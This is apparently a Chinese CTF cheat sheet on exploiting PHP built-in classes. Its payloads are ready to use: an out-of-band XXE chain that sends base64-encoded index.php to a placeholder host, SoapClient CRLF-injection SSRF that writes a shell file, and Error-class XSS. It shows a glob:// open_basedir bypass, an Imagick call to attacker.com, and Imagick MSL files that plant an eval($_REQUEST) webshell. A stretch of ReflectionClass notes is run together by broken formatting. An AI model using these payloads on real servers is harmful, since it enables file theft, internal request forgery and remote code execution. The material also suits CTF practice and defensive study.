php 原生类利用

 

原生类利用

XXE: SimpleXMLElement

 class SimpleXMLElement implements Stringable, Countable, RecursiveIterator {
    /* Methods */
    public __construct(
        string $data,
        int $options = 0,
        bool $dataIsURL = false,
        string $namespaceOrPrefix = "",
        bool $isPrefix = false
    )
    public addAttribute(string $qualifiedName, string $value, ?string $namespace = null): void
    public addChild(string $qualifiedName, ?string $value = null, ?string $namespace = null): ?SimpleXMLElement
    public asXML(?string $filename = null): string|bool
    public attributes(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement
    public children(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement
    public count(): int
    public getDocNamespaces(bool $recursive = false, bool $fromRoot = true): array|false
    public getName(): string
    public getNamespaces(bool $recursive = false): array
    public registerXPathNamespace(string $prefix, string $namespace): bool
    public __toString(): string
    public xpath(string $expression): array|null|false
}
  • data: xml 字符串,xml 文档路径或者 url 路径(如果 dataIsURL 为 true
  • dataIsURL: 默认情况下为 false,为 true 时 data 为一个 url 路径
  • option:设置为 LIBXML_NOENT 时,可能会导致 xxe 攻击,LIBXML_NOENT 为 2.

读取文件

poc:

$x=new SimpleXMLElement("http://xxx.xxx.xxx.xxx/evil.xml",2,true);

evil.xml

<?xml version="1.0"?>  
<!DOCTYPE ANY[  
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/send.xml">  
%remote;  
%all;  
%send;  
]>

send.xml

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">  
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx/send.php?file=%file;'>">

SSRF

XXE:SimpleXMLIterator

可用于代替 SimpleXMLElement

文件操作:ZipArchive

利用版本: (PHP 5 >= 5.2.0, PHP 7, PECL zip >= 1.1.0)

这个类是在php5.2.0之后引入的,我们之前会在一些原生类利用中见到它,我们可以用这个类来删除文件,读取文件以及有损写文件。

删除文件

$a=new ZipArchive();
$a->open("file", ZipArchive::OVERWRITE); // ZipArchive::CREATE也可以用8代替

读取文件

$f = "flag";
$zip=new ZipArchive();
$zip->open("a.zip", ZipArchive::CREATE);
$zip->addFile($f);
$zip->close();
$zip->open("a.zip");
echo $zip->getFromName($f);
$zip->close();

有损写文件

$f = "flag";
$zip=new ZipArchive();
$zip->open("a.zip", ZipArchive::CREATE);
$zip->setArchiveComment("<?php phpinfo();?>");
$zip->addFromString("file", "");
$zip->close();
//include "a.zip";

读写文件:SplFileObject

SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等。所以我们也可以利用这个类中的方法代替普通函数来读写文件。

读文件

<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}
// 或者用伪协议base64直接输出,有时候有奇效
$context = new SplFileObject('php://filter/read=convert.base64-encode/resource=/etc/passwd');
echo $context;

写文件

$f = new SplFileObject('./file', "w");
$f->fwrite("file");

读写文件:DOMDocument

利用版本:(PHP 5, PHP 7)

这个类本意是处理 XML 和 HTML 内容,不过也有相应的读/写文件的方法,只要利用 伪协议 稍做加工就可以无杂质地对数据进行操作。

读文件

# 读文件
# 先用 convert.base64 将文件内容base64,避免出现额外的 <p> 标签
# 然后将读取的内容转换成 XML 格式,再加载它,最后取 <p> 标签内的内容 (如果想获取纯净流则可以再进行base64解码)
$f="/etc/passwd";
$d=new DOMDocument();
$d->loadHTMLFile("php://filter/convert.base64-encode/resource=$f");
$d->loadXML($d->saveXML());
echo $d->getElementsByTagName("p")[0]->textContent;

写文件

# 写文件
# 先用 string.strip_tags 将多余的 HTML 标签去掉,然后再用 convert.base64 将多余的其他杂质 (如空格,双引号等非base64字符去掉)
$f="./test.php";
$d=new DOMDocument();
$d->loadHTML("dGVzdA==");
$d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=$f");

读文件:Xinclude

<?php
$a = filter_input(1,"file");;
$xml = <<<EOD
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="$a" parse="text"/>
</root>
EOD;
$dom = new DOMDocument;
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml);
$dom->xinclude();
echo $dom->saveXML();

判断文件是否存在:finfo

利用版本: (PHP >= 5.3.0, PECL fileinfo >= 0.1.0) 判断文件是否存在(判断文件类型)

$f = "./aasd.php";
$ff = new finfo(FILEINFO_MIME);
echo $ff->file($f);

反序列化:Phar

利用版本: (PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

目录枚举:Directory

这个类本意是不能够直接通过 new 方式进行创建利用,当使用 dir 函数时,这个类会被实例化。但我们依然可以直接实例化并使用其中的方法

判断目录是否存在

# 判断某个目录是否存在,
# 如果存在返回目录字符串,若不存在则产生警告并返回NULL
$dir="/etc";
echo (new Directory)->read(opendir($dir)); 

列目录 poc

$dir = "/etc";
$d = new Directory;
$d->resource = opendir($dir);
while(($c = $d->read($d->resource))){echo $c."\n";};

目录枚举:DirectoryIterator

DirectoryIterator 会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名.

注意: DirectoryIterator 配合 glob:// 协议可以突破 open_basedir 限制。

<?php
$dir=new DirectoryIterator("/");
echo $dir;

遍历文件目录,直接对文件全部输出出来.

<?php
$dir=new DirectoryIterator("/");
foreach($dir as $f){
    echo($f.'<br>');
    //echo($f->__toString().'<br>');
}

利用 DirectoryIterator 类对象 + glob:// 协议获取目录结构,能够突破 open_basedir 的限制:

$dir=new DirectoryIterator("glob:///*");
foreach($dir as $f){
    echo($f.'<br>');
    //echo($f->__toString().'<br>');
}

一些其他的用法:

# 简单列目录
$dir = "./geek";
$d = new DirectoryIterator($dir);
while ($d->valid()){
    echo $d."\n";
    $d->next();
}

# 也可以用来获取文件的信息
$dir = "./geek";
$d = new DirectoryIterator($dir);
while($d->valid()){

    # 获取最后访问时间
    var_dump($d->getATime());
    # 获取创建时间
    var_dump($d->getCTime());
    # 获取最后修改时间
    var_dump($d->getMtime());
    # 获取文件名,
    # 直接用 __toString 也可以
    var_dump($d->getFilename());
    var_dump((string)$d);
    # 获取文件名 (自动除去后缀名),
    # 比如除去 .php 后缀名
    var_dump($d->getBasename("php"));
    # 获取目录和文件名
    var_dump($d->getPathname());
    # 获取文件所有者
    var_dump($d->getOwner());
    # 获取文件所有组
    var_dump($d->getGroup());
    # 获取文件inode编号
    var_dump($d->getInode());
    # 获取文件权限
    var_dump(substr(sprintf("%o",$d->getPerms()),-4));
    # 获取文件大小
    var_dump(($d->getSize()/1024)." kb");
    # 获取文件类型 (file/dir)
    var_dump($d->getType());
    # 判断文件是否是目录
    var_dump($d->isDir());
    # 判断文件是否是文件 (不是目录)
    var_dump($d->isFile());
    # 判断文件是否为 ./..
    var_dump($d->isDot());
    # 判断文件是否可执行
    var_dump($d->isExecute());
    # 判断文件是否是链接文件
    var_dump($d->isLink());
    # 判断文件是否可读
    var_dump($d->isReadable());
    # 判断文件是否可写
    var_dump($d->isWriteable());

    $d->next();
}

# 一些其他方法的功能
# 获取当前目录路径 (其实也就是 ? )
var_dump($d->path());
# 获取当前元素的索引
var_dump($d->key());
# 将当前索引移动到下一个元素
$d->next();
# 将索引重置到开头
$d->rewind();
# 设置索引
$d->seek(0);
# 判断当前索引的文件是否合法 (是否是一个文件)
$d->vaild();

目录枚举:FilesystemIterator#

利用版本:(PHP 5 >= 5.3.0, PHP 7)

其实这个类实际上也就是 DirectoryIterator 类的升级版,基本继承了 DirectorIterator 类的所有方法,所以利用方式和 DirectorIterator 一样:

目录枚举:GlobIterator

利用版本:(PHP 5 >= 5.3.0, PHP 7) GlobIterator 无需配合 glob:// 协议枚举目录。

foreach(new GlobIterator("./*") as $f){
    echo $f."\n";
}

在 CTF 中如果知道了 flag 的位置,但不知道 flag 的文件名,则可以使用:GlobIterator("/*flag*")

字符转换:IntlChar

利用版本:(PHP 7, PHP 8, Intl extension)

可以取代ord,chr等函数

# ord 和 chr 函数
IntlChar::ord("a");
IntlChar::chr(97);

反射:ReflectionFunction

利用版本:(PHP 5, PHP 7) poc#

可以通过这个反射类拿到许多函数中的信息

# 反射调用函数
(new ReflectionFunction("func?"))->invoke(args);
(new ReflectionFunction("func?"))->invokeArgs([args1,args2]);

# 获取函数信息
(new ReflectionFunction("func?"))->isDisabled() // 函数是否可用
(new ReflectionFunction("func?"))->getClosure() // 获取该匿名函数
(new ReflectionFunction("func?"))->getDocComment() // 获取函数注释内容
(new ReflectionFunction("func?"))->getStartLine() // 获取函数开始行号
(new ReflectionFunction("func?"))->getEndLine() // 获取函数结束行号
(new ReflectionFunction("func?"))->getExtensionName() // 获取扩展名称
(new ReflectionFunction("func?"))->getName() // 获取函数名称
(new ReflectionFunction("func?"))->getNamespaceName() // 获取命名空间名称
(new ReflectionFunction("func?"))->getNumberOfParameters() // 获取函数参数数量
(new ReflectionFunction("func?"))->getNumberOfRequiredParameters() // 获取函数必须传入的参数数量
(new ReflectionFunction("func?"))->getParameters() // 获取函数参数名
(new ReflectionFunction("func?"))->getShortName() // 获取函数短名
(new ReflectionFunction("func?"))->getStaticVariables() // 获取函数静态变量
(new ReflectionFunction("func?"))->hasReturnType() // 函数是否有特定返回类型
(new ReflectionFunction("func?"))->inNamespace() // 函数是否定义在命名空间
(new ReflectionFunction("func?"))->isClosure() // 函数是否是匿名函数
(new ReflectionFunction("func?"))->isDeprecated() // 函数是否弃用
(new ReflectionFunction("func?"))->isGenerator() // 函数是否是生成器函数
(new ReflectionFunction("func?"))->isInternal() // 函数是否是内部函数
(new ReflectionFunction("func?"))->isUserDefined() // 函数是否是用户定义

反射:ReflectionMethod

利用功能:

  • 设置类中私有/受保护是否可以直接访问
  • 通过反射调用方法
  • 获取方法信息
# 反射调用方法
(new ReflectionMethod("class?","method?"))->invoke(new [class?]/NULL(静态类),args1,args2);
(new ReflectionMethod("class?","method?"))->invokeArgs(new [class?]/NULL(静态类,[args1,args2]));

# 设置私有/受保护方法
$f = new ReflectionMethod("class?","method?");
$f->setAccessible(true);
$f->invoke(new [class?]);
(new [class?])->[method?](); // 会报错

# 获取函数信息
(new ReflectionMethod("class?","method?"))->getDeclaringClass() // 获取反射方法的类作为反射类返回
(new ReflectionMethod("class?","method?"))->isAbstract() // 方法是否是抽象方法
(new ReflectionMethod("class?","method?"))->isConstructor() // 方法是否是 __construct
(new ReflectionMethod("class?","method?"))->isDestructor() // 方法是否是 __destruct
(new ReflectionMethod("class?","method?"))->isFinal() // 方法是否定义了final
(new ReflectionMethod("class?","method?"))->isPrivate() // 方法是否是私有方法
(new ReflectionMethod("class?","method?"))->isProtected() // 方法是否是受保护方法
(new ReflectionMethod("class?","method?"))->isPublic() // 方法是否是公有方法
(new ReflectionMethod("class?","method?"))->isStatic() // 方法是否是静态方法
(new ReflectionMethod("class?","method?"))->getDocComment() // 获取方法注释内容
(new ReflectionMethod("class?","method?"))->getStartLine() // 获取方法开始行号
(new ReflectionMethod("class?","method?"))->getEndLine() // 获取方法结束行号
(new ReflectionMethod("class?","method?"))->getExtensionName() // 获取扩展名称
(new ReflectionMethod("class?","method?"))->getName() // 获取方法名称
(new ReflectionMethod("class?","method?"))->getNamespaceName() // 获取命名空间名称
(new ReflectionMethod("class?","method?"))->getNumberOfParameters() // 获取方法参数数量
(new ReflectionMethod("class?","method?"))->getNumberOfRequiredParameters() // 获取方法必须传入的参数数量
(new ReflectionMethod("class?","method?"))->getParameters() // 获取方法参数名
(new ReflectionMethod("class?","method?"))->getShortName() // 获取方法短名
(new ReflectionMethod("class?","method?"))->getStaticVariables() // 获取方法静态变量
(new ReflectionMethod("class?","method?"))->hasReturnType() // 方法是否有特定返回类型
(new ReflectionMethod("class?","method?"))->inNamespace() // 方法是否定义在命名空间
(new ReflectionMethod("class?","method?"))->isClosure() // 方法是否是匿名函数
(new ReflectionMethod("class?","method?"))->isDeprecated() // 方法是否弃用
(new ReflectionMethod("class?","method?"))->isGenerator() // 方法是否是生成器函数
(new ReflectionMethod("class?","method?"))->isInternal() // 方法是否是内部函数
(new ReflectionMethod("class?","method?"))->isUserDefined() // 方法是否是用户定义

反射:ReflectionClass

利用版本:(PHP 5, PHP 7)

利用功能:

  • 获取/修改类中静态属性的值
  • 获取类中属性的值
  • 实例化新类
  • 获取类信息 ```php

    获取/修改类中静态属性的值

    (new ReflectionClass(“class?”))->getStaticProperties(); # 获取静态属性 (new ReflectionClass(“class?”))->getStaticPropertyValue(“key?”,”default_value?”); # 获取指定静态属性的值,可以手动设置默认值 (new ReflectionClass(“class?”))->setStaticPropertyValue(“key?”,”value?”); # 设置静态属性的值

获取类中属性的值

(new ReflectionClass(“class?”))->getProperties(); # 获取属性 (new ReflectionClass(“class?”))->getProperty(“key?”) # 获取指定属性的值

实例化新类,

比如反射 phpinfo 函数

$c = new ReflectionClass(‘ReflectionFunction’); $iv = $c->newInstance(‘phpinfo’); $ia = $c->newInstanceArgs(array(‘phpinfo’)); $ie = $c->newInstanceWithoutConstructor(); // 调用一个类但不调用其 __construct 方法

获取类信息

(new ReflectionClass(“class?”))->export(); // 导出类 (new ReflectionClass(“class?”))->getConstant(string $name) // 获取类中指定常量值 (new ReflectionClass(“class?”))->getConstants(?int $filter = null) // 获取类中所有常量值 (new ReflectionClass(“class?”))->getConstructor() // 获取类中构造方法(__construct)作为反射方法返回 (new ReflectionClass(“class?”))->getDefaultProperties() // 获取类中默认属性 (new ReflectionClass(“class?”))->getDocComment() // 获取类的注释 (new ReflectionClass(“class?”))->getStartLine() // 获取类开始行号 (new ReflectionClass(“class?”))->getEndLine() // 获取类结束行号 (new ReflectionClass(“class?”))->getExtensionName() // 获取类的扩展名称 (new ReflectionClass(“class?”))->getFileName() // 获取类所在的文件名 (new ReflectionClass(“class?”))->getInterfaceNames() // 获取类的接口名称 (new ReflectionClass(“class?”))->getInterfaces() // 获取类的接口 (new ReflectionClass(“class?”))->getMethod(string $name) // 获取类的指定方法作为反射方法返回 (new ReflectionClass(“class?”))->getMethods() // 获取类的方法 (new ReflectionClass(“class?”))->getModifiers() // 获取类的修饰符 (new ReflectionClass(“class?”))->getName() // 获取类名称 (new ReflectionClass(“class?”))->getNamespaceName() // 获取类所在命名空间名称 (new ReflectionClass(“class?”))->getParentClass() // 获取父类作为反射类返回 (new ReflectionClass(“class?”))->getReflectionConstant() // 获取类的指定常量作为反射类常量返回 (new ReflectionClass(“class?”))->getReflectionConstants() // 获取类的常量作为反射类常量数组返回 (new ReflectionClass(“class?”))->getShortName() // 获取类的短名 (new ReflectionClass(“class?”))->getTraitAliases() // 获取类所使用 trait 别名的数组 (new ReflectionClass(“class?”))->getTraitNames() // 获取类所使用 traits 名称的数组 (new ReflectionClass(“class?”))->getTraits() // 获取类所使用的 traits (new ReflectionClass(“class?”))->hasConstant(string $name) // 类是否有指定的常量 (new ReflectionClass(“class?”))->hasMethod(string $name) // 类是否有指定的方法 (new ReflectionClass(“class?”))->implementsInterface(string $interface) // 类是否实现指定的接口 (new ReflectionClass(“class?”))->inNamespace() // 类是否在命名空间中 (new ReflectionClass(“class?”))->isAbstract() // 类是否是抽象类 (new ReflectionClass(“class?”))->isAnonymous() // 类是否是匿名类 (new ReflectionClass(“class?”))->isCloneable() // 类是否是可复制的 (new ReflectionClass(“class?”))->isFinal() // 类是否声明为 final (new ReflectionClass(“class?”))->isInternal() // 类是否是内部的 (new ReflectionClass(“class?”))->isIterable() // 类是否是一个迭代类 (new ReflectionClass(“class?”))->isIterateable() // 类是否是可迭代的 (new ReflectionClass(“class?”))->isSubclassOf(string $class) // 类是否是指定类的子类 (new ReflectionClass(“class?”))->isTrait() // 类是否是 trait (new ReflectionClass(“class?”))->isUserDefined() // 类是否是用户定义的


## SSRF: SoapClient::__call
range:PHP 5, PHP 7, PHP 8

SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。

其采用HTTP作为底层通讯协议,XML作为数据传送的格式,仅限于http/https协议

SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。

如果想要使用SoapClient类需要在php.ini配置文件里面开启 extension=php_soap.dll 选项


```php
<?php
$target= 'http://127.0.0.1/demo.php';
$post_string= '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers= array(
   'X-Forwarded-For:127.0.0.1',
   'Cookie:admin=1'
   );
$b= new SoapClient(null,array('location'=> $target,'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"xxx"));
//因为User-agent是可以控制的,因此可以利用crlf注入http头部发送post请求
$aaa= serialize($b);
$aaa= str_replace('^^','%0d%0a',$aaa);
$aaa= str_replace('&','%26',$aaa);
echo $aaa;

$x= unserialize(urldecode($aaa));//调用__call方法触发网络请求发送
$x->no_func();
$target = "http://ekii.eyes.sh/flag.php";
$headers = array(
    'X-Forwarded-For:127.0.0.1',
    "Cookie: PHPSESSID=s8fo8ma30gbttqvgdbb48k6rm4"
);
$adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'Y1ng^^' . join('^^', $headers)));

$aaa= serialize($adapter);
$aaa= str_replace('^^','%0d%0a',$aaa);
$aaa= str_replace('&','%26',$aaa);

XSS: Error/Exception

range:Error(php7, PHP8), Exception(php5, php7, PHP8)

通过内置__toString()魔术方法触发。

demo:

<?php
    $a = unserialize($_GET['a']);
    echo $a;

Error Class Exp

<?php
    $a = new Error("<script>alert(1)</script>");
    echo urlencode(serialize($a));
    #注意版本是PHP7

文件创建:SQLite3

可以创建一个空文件。

new SQLite3('/tmp/sky/evil.php');

RCE:Imagick

Exploiting Arbitrary Object Instantiations in PHP without Custom Classes – PT SWARM 这篇文章的作者在应对如下场景时找到了一种新的利用手法——Imagick。

new $_GET['a']($_GET['b']);

如果仅可控类名和一个参数名,且只能够实例化对象,不能执行对象方法的情况下,同样可以实现 RCE。

空字节截断

Imagick 参数被空字节截断也可以正常使用

# No errors
$a = new Imagick("/tmp/positive.png\x00.jpg");

# No errors
$a = new Imagick("http://attacker.com/test\x00test");

https:/

https:/ 会调用 curl

$a = new Imagick("https:/127.0.0.1:9999/positive.png\x00.jpg");

vid + tempfile RCE

php 会将 post 接收到的文件以临时文件的形式保存在 /tmp 下。假设我们上传一个 msl 文件如下

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="caption:&lt;?php @eval(@$_REQUEST['a']); ?&gt;" />
 <!-- Relative paths such as info:./../../uploads/swarm.php can be used as well -->
 <write filename="info:/var/www/swarm.php" />
</image>

如果使用 vid:msl 的形式将该临时文件进行读取,解析 msl 时会将 webshell 的内容写入 /var/www/swarm.php

$a = new Imagick("vid:msl:/tmp/php*");

CISCN 2022 有根据这个知识点出过题:CTF-Challenges/CISCN/2022/backdoor/writup/writup.md at master · AFKL-CUIT/CTF-Challenges · GitHub,但利用 payload 有所区别, 使用 inline 将文件内容以 base64 的形式编码在 msl 文件中。

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" />
 <write filename="/tmp/sess_afkl" />
</image>

SCTF 2023 中对这种利用方式进行了探索,可以达到读取文件内容的效果。

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="mvg:/flag" />
 <write filename="/tmp/xxxx" />
</image>

所有内置类

枚举所有内置类

<?php

$class_names = get_declared_classes();

foreach ($class_names as $class_name) {
    $rc = new ReflectionClass($class_name);
    $constructor = $rc->getConstructor();

    if ($constructor != NULL) {
        $params = $constructor->getParameters();
        
        echo "new $class_name(";
        
        foreach ($params as $param) {
            $name = $param->getName();
            $opt = $param->isOptional();
            
            if ($opt) {
                echo "[$name], ";
            } else {
                echo "$name, ";
            }
        }
        
        if (empty($params)) {
            echo "[none or dynamic]";
        }
        echo ")\n";
    }
}
全部版本的输出可见 [Online PHP editor output for 2JEGF](https://3v4l.org/2JEGF#v8.2.4)

参考